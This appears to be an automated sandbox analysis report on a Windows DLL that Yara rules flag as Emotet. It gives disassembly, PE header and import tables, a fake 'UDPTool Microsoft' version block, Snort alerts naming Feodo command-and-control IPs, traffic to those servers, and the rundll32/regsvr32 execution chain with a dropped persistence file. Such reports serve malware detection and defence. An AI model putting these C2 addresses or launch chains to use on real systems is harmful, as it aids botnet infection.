lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10057A08h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10057A08h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10057A08h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax

Rich Headers

Programming Language:

[RES] VS2005 build 50727
[ C ] VS2005 build 50727
[EXP] VS2005 build 50727
[C++] VS2005 build 50727
[ASM] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x313c0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2fdcc	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x3664	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x61000	0x3df4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2cd60	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x29000	0x440	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x2fd44	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x27f5e	0x28000	False	0.514996337891	data	6.66251942868	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x29000	0x8410	0x9000	False	0.308892144097	data	4.83079972455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x32000	0x2a9a0	0x27000	False	0.963572966747	data	7.93281036967	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x5d000	0x3664	0x4000	False	0.274780273438	data	4.49622273105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x61000	0x8284	0x9000	False	0.33251953125	data	3.82081999119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x5db08	0x134	data	Chinese	China
RT_CURSOR	0x5dc3c	0xb4	data	Chinese	China
RT_CURSOR	0x5dcf0	0x134	AmigaOS bitmap font	Chinese	China
RT_CURSOR	0x5de24	0x134	data	Chinese	China
RT_CURSOR	0x5df58	0x134	data	Chinese	China
RT_CURSOR	0x5e08c	0x134	data	Chinese	China
RT_CURSOR	0x5e1c0	0x134	data	Chinese	China
RT_CURSOR	0x5e2f4	0x134	data	Chinese	China
RT_CURSOR	0x5e428	0x134	data	Chinese	China
RT_CURSOR	0x5e55c	0x134	data	Chinese	China
RT_CURSOR	0x5e690	0x134	data	Chinese	China
RT_CURSOR	0x5e7c4	0x134	data	Chinese	China
RT_CURSOR	0x5e8f8	0x134	AmigaOS bitmap font	Chinese	China
RT_CURSOR	0x5ea2c	0x134	data	Chinese	China
RT_CURSOR	0x5eb60	0x134	data	Chinese	China
RT_CURSOR	0x5ec94	0x134	data	Chinese	China
RT_BITMAP	0x5edc8	0xb8	data	Chinese	China
RT_BITMAP	0x5ee80	0x144	data	Chinese	China
RT_ICON	0x5efc4	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 67108992, next used block 3293332676	Chinese	China
RT_ICON	0x5f2ac	0x128	GLS_BINARY_LSB_FIRST	Chinese	China
RT_DIALOG	0x5f3d4	0x33c	data	Chinese	China
RT_DIALOG	0x5f710	0xe2	data	Chinese	China
RT_DIALOG	0x5f7f4	0x34	data	Chinese	China
RT_STRING	0x5f828	0x54	data	Chinese	China
RT_STRING	0x5f87c	0x2c	data	Chinese	China
RT_STRING	0x5f8a8	0x82	data	Chinese	China
RT_STRING	0x5f92c	0x1d0	data	Chinese	China
RT_STRING	0x5fafc	0x164	data	Chinese	China
RT_STRING	0x5fc60	0x132	data	Chinese	China
RT_STRING	0x5fd94	0x50	data	Chinese	China
RT_STRING	0x5fde4	0x40	data	Chinese	China
RT_STRING	0x5fe24	0x6a	data	Chinese	China
RT_STRING	0x5fe90	0x1d6	data	Chinese	China
RT_STRING	0x60068	0x110	data	Chinese	China
RT_STRING	0x60178	0x24	data	Chinese	China
RT_STRING	0x6019c	0x30	data	Chinese	China
RT_GROUP_CURSOR	0x601cc	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China
RT_GROUP_CURSOR	0x601f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60204	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60218	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x6022c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60240	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60254	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60268	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x6027c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60290	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602a4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602cc	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602e0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602f4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_ICON	0x60308	0x22	data	Chinese	China
RT_VERSION	0x6032c	0x2e0	data	Chinese	China
RT_MANIFEST	0x6060c	0x56	ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	CreateFileA, GetCPInfo, GetOEMCP, RtlUnwind, HeapReAlloc, GetCommandLineA, RaiseException, ExitProcess, HeapSize, HeapDestroy, HeapCreate, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetACP, LCMapStringW, GetStdHandle, SetHandleCount, GetFileType, GetStartupInfoA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, GetConsoleCP, GetConsoleMode, GetStringTypeA, GetStringTypeW, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, GetCurrentProcess, GetThreadLocale, FlushFileBuffers, SetFilePointer, WriteFile, ReadFile, GlobalFlags, WritePrivateProfileStringA, TlsFree, DeleteCriticalSection, LocalReAlloc, TlsSetValue, TlsAlloc, InitializeCriticalSection, GlobalHandle, GlobalReAlloc, EnterCriticalSection, TlsGetValue, LeaveCriticalSection, LocalAlloc, InterlockedIncrement, GlobalGetAtomNameA, GlobalFindAtomA, lstrcmpW, GetVersionExA, InterlockedDecrement, FreeResource, GetCurrentProcessId, GlobalAddAtomA, GetCurrentThread, GetCurrentThreadId, ConvertDefaultLocale, GetModuleFileNameA, EnumResourceLanguagesA, GetLocaleInfoA, lstrcmpA, GlobalDeleteAtom, GetModuleHandleA, GlobalFree, GlobalAlloc, GlobalLock, GlobalUnlock, FormatMessageA, LocalFree, FindResourceA, LoadResource, LockResource, SizeofResource, MulDiv, CreateThread, CloseHandle, HeapFree, GetNativeSystemInfo, GetProcessHeap, HeapAlloc, FreeLibrary, GetProcAddress, LoadLibraryA, IsBadReadPtr, VirtualProtect, SetLastError, VirtualAlloc, VirtualFree, VirtualQuery, Sleep, GetLastError, lstrlenA, WideCharToMultiByte, CompareStringA, MultiByteToWideChar, GetVersion, LCMapStringA, InterlockedExchange
USER32.dll	LoadCursorA, GetSysColorBrush, EndPaint, BeginPaint, ReleaseDC, GetDC, ClientToScreen, GrayStringA, DrawTextExA, DrawTextA, TabbedTextOutA, SetWindowTextA, IsDialogMessageA, SetDlgItemTextA, GetDlgItemTextA, RegisterWindowMessageA, SendDlgItemMessageA, WinHelpA, GetCapture, GetClassLongA, GetClassNameA, SetPropA, GetPropA, RemovePropA, SetFocus, GetWindowTextLengthA, GetWindowTextA, GetForegroundWindow, GetTopWindow, GetMessageTime, MapWindowPoints, SetForegroundWindow, UpdateWindow, GetMenu, CreateWindowExA, GetClassInfoExA, GetClassInfoA, RegisterClassA, GetSysColor, CopyRect, PtInRect, GetDlgCtrlID, DefWindowProcA, CallWindowProcA, SetWindowLongA, SetWindowPos, SystemParametersInfoA, GetWindowPlacement, GetWindowRect, GetWindow, UnhookWindowsHookEx, GetDesktopWindow, SetActiveWindow, CreateDialogIndirectParamA, DestroyWindow, IsWindow, GetDlgItem, GetNextDlgTabItem, EndDialog, GetWindowThreadProcessId, GetWindowLongA, GetLastActivePopup, IsWindowEnabled, MessageBoxA, SetCursor, SetWindowsHookExA, CallNextHookEx, GetMessageA, TranslateMessage, DispatchMessageA, GetActiveWindow, IsWindowVisible, GetKeyState, PeekMessageA, GetCursorPos, ValidateRect, SetMenuItemBitmaps, DestroyMenu, UnregisterClassA, GetMessagePos, GetMenuCheckMarkDimensions, LoadBitmapA, GetFocus, GetParent, ModifyMenuA, EnableMenuItem, CheckMenuItem, PostQuitMessage, GetMenuState, GetMenuItemID, GetMenuItemCount, GetSubMenu, SetTimer, KillTimer, IsIconic, GetSystemMetrics, GetClientRect, DrawIcon, SendMessageA, ShowWindow, EnableWindow, LoadIconA, PostMessageA, AdjustWindowRectEx
GDI32.dll	SetWindowExtEx, ScaleWindowExtEx, DeleteDC, GetStockObject, ScaleViewportExtEx, SetViewportExtEx, OffsetViewportOrgEx, SetViewportOrgEx, SelectObject, Escape, ExtTextOutA, TextOutA, RectVisible, PtVisible, GetDeviceCaps, DeleteObject, SetMapMode, RestoreDC, SaveDC, GetObjectA, SetBkColor, SetTextColor, GetClipBox, CreateBitmap
WINSPOOL.DRV	DocumentPropertiesA, ClosePrinter, OpenPrinterA
ADVAPI32.dll	RegSetValueExA, RegCreateKeyExA, RegQueryValueA, RegEnumKeyA, RegDeleteKeyA, RegOpenKeyExA, RegQueryValueExA, RegOpenKeyA, RegCloseKey
SHLWAPI.dll	PathFindExtensionA
OLEAUT32.dll	VariantClear, VariantChangeType, VariantInit
WS2_32.dll	sendto, recvfrom, WSAStartup, inet_addr, htons, socket, bind, setsockopt, WSACleanup, closesocket, htonl

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x10008af0

Version Infos

Description	Data
LegalCopyright	(C) 2014
InternalName	UDPTool
FileVersion	1, 0, 0, 1
CompanyName
LegalTrademarks
ProductName	UDPTool
ProductVersion	1, 0, 0, 1
FileDescription	UDPTool Microsoft
OriginalFilename	UDPTool.EXE
Translation	0x0804 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/14/22-10:39:39.106239	TCP	2404332	ET CNC Feodo Tracker Reported CnC Server TCP group 17	49748	80	192.168.2.3	45.138.98.34
01/14/22-10:39:40.292302	TCP	2404338	ET CNC Feodo Tracker Reported CnC Server TCP group 20	49749	8080	192.168.2.3	69.16.218.101

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 10:39:39.106239080 CET	49748	80	192.168.2.3	45.138.98.34
Jan 14, 2022 10:39:39.123187065 CET	80	49748	45.138.98.34	192.168.2.3
Jan 14, 2022 10:39:39.689399004 CET	49748	80	192.168.2.3	45.138.98.34
Jan 14, 2022 10:39:39.706671953 CET	80	49748	45.138.98.34	192.168.2.3
Jan 14, 2022 10:39:40.267855883 CET	49748	80	192.168.2.3	45.138.98.34
Jan 14, 2022 10:39:40.284703016 CET	80	49748	45.138.98.34	192.168.2.3
Jan 14, 2022 10:39:40.292301893 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:39:40.421871901 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:40.422004938 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:39:40.440761089 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:39:40.571970940 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:40.584789991 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:40.584814072 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:40.585019112 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:39:43.453438044 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:39:43.583108902 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:43.583679914 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:43.583842039 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:39:43.587878942 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:39:43.717506886 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:44.243675947 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:44.246721029 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:39:47.259376049 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:47.259411097 CET	8080	49749	69.16.218.101	192.168.2.3
Jan 14, 2022 10:39:47.259488106 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:41:29.087491035 CET	49749	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 10:41:29.087542057 CET	49749	8080	192.168.2.3	69.16.218.101

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 14, 2022 10:40:06.500219107 CET	8.8.8.8	192.168.2.3	0x6605	No error (0)	windowsupdate.s.llnwi.net		41.63.96.128	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 4352 Parent PID: 4964

General

Start time:	10:39:19
Start date:	14/01/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll"
Imagebase:	0xe50000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 3560 Parent PID: 4352

General

Start time:	10:39:19
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 3156 Parent PID: 4352

General

Start time:	10:39:20
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\pugKLanrj3.dll
Imagebase:	0xfd0000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.303434167.0000000000D20000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.303487631.0000000000ED1000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5572 Parent PID: 3560

General

Start time:	10:39:20
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1
Imagebase:	0xd50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.303864837.0000000002E50000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.303938818.0000000003091000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5504 Parent PID: 4352

General

Start time:	10:39:21
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\pugKLanrj3.dll,DllRegisterServer
Imagebase:	0xd50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312426426.0000000004790000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312707880.0000000004991000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312062487.0000000004571000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312157578.0000000004630000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.310610436.0000000000690000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312211500.0000000004661000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312650834.0000000004960000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.311999484.0000000004540000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312609575.0000000004821000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312500126.00000000047C1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.312556159.00000000047F0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6408 Parent PID: 3156

General

Start time:	10:39:22
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",DllRegisterServer
Imagebase:	0xd50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1312 Parent PID: 5572

General

Start time:	10:39:22
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",DllRegisterServer
Imagebase:	0xd50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.308717246.0000000004ED1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.308496197.00000000047A0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.308585132.0000000004D20000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.308691982.0000000004EA0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.308783720.0000000004FE1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.308811399.0000000005011000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.308759081.0000000004FB0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6112 Parent PID: 5504

General

Start time:	10:39:24
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ubjbeaftth\ufcmfnoys.ulp",EgkecrKVKe
Imagebase:	0xd50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.312591906.0000000002E30000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.312633523.0000000002E61000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5388 Parent PID: 6112

General

Start time:	10:39:26
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ubjbeaftth\ufcmfnoys.ulp",DllRegisterServer
Imagebase:	0xd50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818600479.0000000004CA1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.816263427.0000000000551000.00000020.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818149949.0000000004821000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818434536.0000000004B90000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818253319.00000000049B0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818342645.0000000004A90000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.816816895.00000000006C0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818930567.0000000004F70000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818769110.0000000004E70000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818077767.0000000004741000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818990382.0000000004FA1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818118455.00000000047F0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818553417.0000000004C70000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818862903.0000000004EA1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818277549.00000000049E1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.819036173.0000000004FD0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818224414.0000000004981000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818194001.0000000004950000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.819084555.0000000005001000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.816889903.0000000000721000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.816215619.0000000000520000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818044267.0000000004710000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818377834.0000000004AC1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.818471974.0000000004BC1000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6312 Parent PID: 572

General

Start time:	10:39:38
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5672 Parent PID: 572

General

Start time:	10:39:44
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5104 Parent PID: 572

General

Start time:	10:39:59
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
